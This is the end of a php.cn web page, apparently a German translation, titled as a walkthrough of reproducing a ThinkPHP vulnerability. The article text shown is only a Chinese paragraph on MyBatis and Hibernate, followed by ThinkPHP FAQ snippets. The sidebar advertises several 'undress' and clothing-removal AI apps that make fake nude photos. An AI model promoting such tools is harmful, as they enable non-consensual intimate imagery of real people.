    于是就誕生出了Mybatis半自動框架與Hibernate全自動框架,直接將jdbc的操作進行封裝,但是由于全自動框架可操作性過于狹窄,所以現(xiàn)在市面上更多的還是Mybatis框架進行連接服務端與數(shù)據(jù)庫,但是一般政府或國企的項目還是偏向于Hibernate框架,這些知識都是涉及一些編程知識,大家可以自己去了解一下。

    推薦學習:《PHP視頻教程

Das obige ist der detaillierte Inhalt vonDer Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erkl?rung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Hei?e KI -Werkzeuge

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Clothoff.io

Clothoff.io

KI-Kleiderentferner

Video Face Swap

Video Face Swap

Tauschen Sie Gesichter in jedem Video mühelos mit unserem v?llig kostenlosen KI-Gesichtstausch-Tool aus!

Hei?e Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Hei?e Themen

PHP-Tutorial
1502
276
So führen Sie das Thinkphp-Projekt aus So führen Sie das Thinkphp-Projekt aus Apr 09, 2024 pm 05:33 PM

Um das ThinkPHP-Projekt auszuführen, müssen Sie: Composer installieren, das Projektverzeichnis aufrufen und http://localhost:8000 aufrufen.

Es gibt mehrere Versionen von thinkphp Es gibt mehrere Versionen von thinkphp Apr 09, 2024 pm 06:09 PM

ThinkPHP verfügt über mehrere Versionen, die für verschiedene PHP-Versionen entwickelt wurden. Zu den Hauptversionen geh?ren 3.2, 5.0, 5.1 und 6.0, w?hrend Nebenversionen dazu dienen, Fehler zu beheben und neue Funktionen bereitzustellen. Die neueste stabile Version ist ThinkPHP 6.0.16. Berücksichtigen Sie bei der Auswahl einer Version die PHP-Version, die Funktionsanforderungen und den Community-Support. Für optimale Leistung und Support wird empfohlen, die neueste stabile Version zu verwenden.

So führen Sie thinkphp aus So führen Sie thinkphp aus Apr 09, 2024 pm 05:39 PM

Schritte zum lokalen Ausführen von ThinkPHP Framework: Laden Sie ThinkPHP Framework herunter und entpacken Sie es in ein lokales Verzeichnis. Erstellen Sie einen virtuellen Host (optional), der auf das ThinkPHP-Stammverzeichnis verweist. Konfigurieren Sie Datenbankverbindungsparameter. Starten Sie den Webserver. Initialisieren Sie die ThinkPHP-Anwendung. Greifen Sie auf die URL der ThinkPHP-Anwendung zu und führen Sie sie aus.

Was ist besser, Laravel oder Thinkphp? Was ist besser, Laravel oder Thinkphp? Apr 09, 2024 pm 03:18 PM

Leistungsvergleich von Laravel- und ThinkPHP-Frameworks: ThinkPHP schneidet im Allgemeinen besser ab als Laravel und konzentriert sich auf Optimierung und Caching. Laravel schneidet gut ab, aber für komplexe Anwendungen ist ThinkPHP m?glicherweise besser geeignet.

So installieren Sie thinkphp So installieren Sie thinkphp Apr 09, 2024 pm 05:42 PM

ThinkPHP-Installationsschritte: Bereiten Sie PHP-, Composer- und MySQL-Umgebungen vor. Erstellen Sie Projekte mit Composer. Installieren Sie das ThinkPHP-Framework und die Abh?ngigkeiten. Datenbankverbindung konfigurieren. Anwendungscode generieren. Starten Sie die Anwendung und besuchen Sie http://localhost:8000.

Wie ist die Leistung von thinkphp? Wie ist die Leistung von thinkphp? Apr 09, 2024 pm 05:24 PM

ThinkPHP ist ein leistungsstarkes PHP-Framework mit Vorteilen wie Caching-Mechanismus, Codeoptimierung, Parallelverarbeitung und Datenbankoptimierung. Offizielle Leistungstests zeigen, dass es mehr als 10.000 Anfragen pro Sekunde verarbeiten kann und in gro?en Websites und Unternehmenssystemen wie JD.com und Ctrip in praktischen Anwendungen weit verbreitet ist.

Entwicklungsvorschl?ge: So verwenden Sie das ThinkPHP-Framework für die API-Entwicklung Entwicklungsvorschl?ge: So verwenden Sie das ThinkPHP-Framework für die API-Entwicklung Nov 22, 2023 pm 05:18 PM

Entwicklungsvorschl?ge: So verwenden Sie das ThinkPHP-Framework für die API-Entwicklung Mit der kontinuierlichen Entwicklung des Internets ist die Bedeutung von API (Application Programming Interface) immer wichtiger geworden. Die API ist eine Brücke für die Kommunikation zwischen verschiedenen Anwendungen. Sie kann Datenaustausch, Funktionsaufrufe und andere Vorg?nge realisieren und bietet Entwicklern eine relativ einfache und schnelle Entwicklungsmethode. Als hervorragendes PHP-Entwicklungsframework ist das ThinkPHP-Framework effizient, skalierbar und einfach zu verwenden.

Entwicklungsvorschl?ge: So verwenden Sie das ThinkPHP-Framework zur Implementierung asynchroner Aufgaben Entwicklungsvorschl?ge: So verwenden Sie das ThinkPHP-Framework zur Implementierung asynchroner Aufgaben Nov 22, 2023 pm 12:01 PM

?Entwicklungsvorschl?ge: So verwenden Sie das ThinkPHP-Framework zur Implementierung asynchroner Aufgaben“ Mit der rasanten Entwicklung der Internettechnologie stellen Webanwendungen immer h?here Anforderungen an die Verarbeitung einer gro?en Anzahl gleichzeitiger Anforderungen und komplexer Gesch?ftslogik. Um die Systemleistung und das Benutzererlebnis zu verbessern, erw?gen Entwickler h?ufig die Verwendung asynchroner Aufgaben, um einige zeitaufw?ndige Vorg?nge auszuführen, z. B. das Senden von E-Mails, das Verarbeiten von Datei-Uploads, das Erstellen von Berichten usw. Im Bereich PHP bietet das ThinkPHP-Framework als beliebtes Entwicklungsframework einige praktische M?glichkeiten zur Implementierung asynchroner Aufgaben.

See all articles